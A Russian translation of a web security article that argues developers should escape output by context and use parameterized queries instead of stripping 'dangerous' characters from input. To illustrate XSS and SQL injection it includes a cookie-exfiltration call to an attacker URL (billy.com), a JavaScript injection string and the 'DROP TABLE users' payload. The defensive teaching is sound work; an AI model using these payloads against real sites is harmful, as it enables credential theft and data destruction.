[Перевод] Не тратьте время на санацию ввода. Лучше экранируйте вывод

Время от времени мы слышим в кругу разработчиков разговоры о «санации пользовательского ввода» с целью предотвращения атак с использованием межсайтового скриптинга. Эта техника, хоть и придумана из лучших побуждений, приводит к ложному чувству безопасности, а иногда и искажает совершенно корректный ввод.

Как происходит межсайтовый скриптинг?

Сайт является уязвимым для атак с использованием межсайтового скриптинга (XSS), если пользователи могут вводить информацию, которую сайт дословно повторяет им в HTML-коде той же или других страниц. Это может вызвать как незначительные проблемы (HTML, который нарушает разметку страницы), так и вполне серьезные (JavaScript, который отправляет файл cookie с учетными данными пользователя на сайт злоумышленника).

Давайте рассмотрим конкретный пример:

  1. NaiveSite позволяет вам ввести свое имя, которое затем выводится без изменений на странице вашего профиля.

  2. Билли Кид вводит свое имя как Billy .

  3. Любой, кто посещает страницу профиля Билли, получает некоторый HTML-код, включая неэкранированный тег script, который в числе прочего обрабатывается его браузером.

  4. Если alert() изменить на что-то более вредоносное, например sendCookies ('https://billy.com/cookie-monster'), то Билли теперь сможет получить учетные данные ничего не подозревающего посетителя.

Примечание: на практике сделать это не так просто, поскольку файлы cookie с учетными данными обычно помечаются как HttpOnly, что означает, что они недоступны для JavaScript. Но это достаточно примитивный NaiveSite, так что, скорее всего, если разработчики допустили XSS-ошибку, то и о защите cookie они тоже не позаботились.

Почему фильтрация входных данных — не самая лучшая идея

Итак, разработчик узнает о «фильтрации входных данных» или «санации ввода», поэтому он пишет код для удаления небезопасных HTML-символов <>& из имени перед его сохранением. Дело сделано!

Но с этим есть две проблемы. Например, на NaiveSite может зарегистрироваться пара как Bob & Jane Smith, но код фильтрации удаляет &, и вдруг Боб оказывается сам по себе, со вторым именем Джейн.

Или если фильтр чуть поусерднее и также удаляет ' и", кто-то вроде Билла О«Брайена становится Биллом ОБрайеном. Искажать имена людей — плохая практика.

Этот метод, что более важно, дает ложное чувство безопасности. Что здесь значит «небезопасно»? И в каком контексте? Конечно, <>& являются небезопасными символами в контексте HTML, но как насчет CSS, JSON, SQL или даже shell-скриптов? У них совершенно другой набор небезопасных символов.

Например, NaiveSite может иметь PHP-шаблон, который будет выглядеть следующим образом:


...

Если злоумышленник укажет свое имя с двойными кавычками, например "; badFunc(); ", то он сможет запускать произвольный JavaScript на любых страницах NaiveSite, отображающих имя пользователя (к которым, если вы залогинились, вероятно, относятся все страницы).

Еще одним хорошим примером такого рода проблем является SQL-инъекция — атака, тесно связанная с межсайтовым скриптингом. NaiveSite работает на базе MySQL и находит пользователей следующим образом:

$query = "SELECT * FROM users WHERE name = '{$name}'"

Если мальчик по имени Robert'); DROP TABLE users; решит посетить ваш сайт, то вся база данных пользователей NaiveSite будет удалена в мгновение ока. Упс!

Между прочим, мать в комиксе xkcd говорит: «А я надеюсь, что вы научитесь санировать данные перед вводом в базу данных». Это несколько сбивает с толку, но я не буду так уж строг к Рэндаллу и предположу, что он имел в виду «экранировать параметры вашей базы данных».

Короче говоря, нет смысла отсеивать «опасные символы», потому что некоторые символы опасны в одном контексте и ​​совершенно безопасны в другом.

Вместо этого экранируйте ваш вывод

Единственный код, который знает, какие символы опасны, — это сам код, который выводится в заданном контексте.

Таким образом, лучший подход состоит в том, чтобы дословно сохранить любое имя, которое вводит пользователь, а затем использовать HTML-экранирование системы шаблонизации при выводе HTML или правильно экранировать JSON при выводе JSON и JavaScript.

И, конечно же, используйте функции параметризованных запросов вашего SQL-движка, чтобы он правильно экранировал переменные при построении SQL:

$stmt = $db->prepare('SELECT * FROM users WHERE name = ?');
$stmt->bind_param('s', $name);

Иногда это называют «контекстным экранированием». Если вам доведется использовать пакет Go html/template, то в нем вы получите автоматическое контекстное экранирование для HTML, CSS и JavaScript прямо из коробки. Большинство других систем шаблонизации обеспечивают автоматическое экранирование хотя бы HTML, как например шаблоны React, Jinja2 и Rails.

Но что, если вам нужны необработанные входные данные?

Давайте рассмотрим более интересную ситуацию — когда вашему приложению нужно позволять пользователю вводить HTML или Markdown для дальнейшего отображения. В этом случае вы не можете прибегнуть к экранированию при рендеринге вывода, потому что вся суть заключается в том, чтобы позволить пользователям добавлять ссылки, изображения, заголовки и т. д.

Поэтому вам нужно использовать другой подход. Если вы используете Markdown, вы можете:

  1. Разрешить пользователю вводить только чистый Markdown и преобразовывать его в HTML при рендеринге (многие Markdown-библиотеки по умолчанию разрешают использование сырого HTML; обязательно отключите эту возможность). Это наиболее безопасный вариант, но и более рестриктивный.

  2. Разрешить пользователю использовать HTML в Markdown, но только определенный список (вайтлист) разрешенных тегов и атрибутов, таких как <а href="..."> и . Например, Stack Exchange и GitHub придерживаются этого второго подхода.

Если вы не используете Markdown, но хотите, чтобы ваши пользователи могли напрямую вводить HTML, то для вас остается доступным только второй вариант — вы должны реализовать фильтр на основе вайтлиста. Сделать это правильно труднее, чем вы думаете (например, ), поэтому обязательно используйте хорошо проверенную с точки зрения безопасности библиотеку как, например, DOMPurify.

Поэтому в тех случаях, когда вам нужно «транслировать» необработанный пользовательский ввод, тщательно фильтруйте ввод на основе ограничительного вайтлиста и сохраняйте результат в базе данных. Когда настанет время вывести его, выведите его как сохранили без какого-либо экранирования.

Параллелью с SQL-инъекциями может быть ситуация, когда вы создаете инструмент для построения диаграмм данных, который позволяет пользователям вводить произвольные SQL-запросы. Возможно, вы захотите разрешить им вводить SELECT-запросы, но не запросы модификации данных. В этих случаях вам лучше всего использовать правильный парсер SQL (как этот), чтобы убедиться, что они правильно формируют SELECT-запросы —, но сделать это правильно не так уж и просто, поэтому обязательно делайте проверку безопасности.

Как насчет валидации?

Санация ввода обычно плохая идея, но вот валидация входных данных это хорошо.

Например, когда вы парсите поля формы ввода, и отлавливаете числовое поле, которое не является числом, адрес электронной почты без @ или имеете раскрывающийся список «Статус публикации», который может быть только чем-либо из «черновик», «опубликовано», или «в архиве», который затем вы во что бы то ни стало проверяете и возвращаете ошибку, если он невалиден.

Хорошая проверка веб-формы указывает на ошибки по мере ввода, чтобы пользователь точно знал, что нужно исправить:

Вы должны выполнять валидацию хотя бы на бэкенде, иначе злоумышленник может обойти валидацию фронтенда и сделать POST-запрос с вредоносными данными на вашу конечную точку напрямую. Кроме того, вы также можете выполнить раннюю проверку во фронтенде, чтобы отображать ошибки в режиме реального времени, без необходимости обращения к серверу.

Что еще можно почитать по теме

На OWASP есть две прекрасных шпаргалки Cross Site Scripting Prevention и SQL Injection Prevention, которые содержат много дополнительной информации о экранировании.

Также есть ответ на StackOverflow на вопрос «How can I sanitize user input with PHP?» с некоторой PHP-спецификой, но я нашел его достаточно лаконичным и полезным. Он ссылается на страницу на PHP magic quotes, которые были в целом плохой идеей и фактически были удалены в PHP 5.4 — обсуждение там очень похоже на то, что я написал выше.

Важно! Под спойлером перевод оригинального текста от автора статьи

Если у вас есть какие-либо отзывы об этой статье, пожалуйста, свяжитесь с нами! Или почитайте комментарии на Hacker News  и сабреддите programming.

Я был бы рад, если бы вы спонсировали меня на GitHub — это будет мотивировать меня работать над моими проектами с открытым исходным кодом и писать больше хорошего контента. Спасибо!

Выражаем благодарность @FanatPHP, за рекомендацию данной статьи к переводу.

Также в преддверии старта курса PHP Developer. Professional, делимся с вами записью открытых уроков курса. Узнать подробнее о курсе и посмотреть открытые уроки можно по ссылкам ниже.

© Habrahabr.ru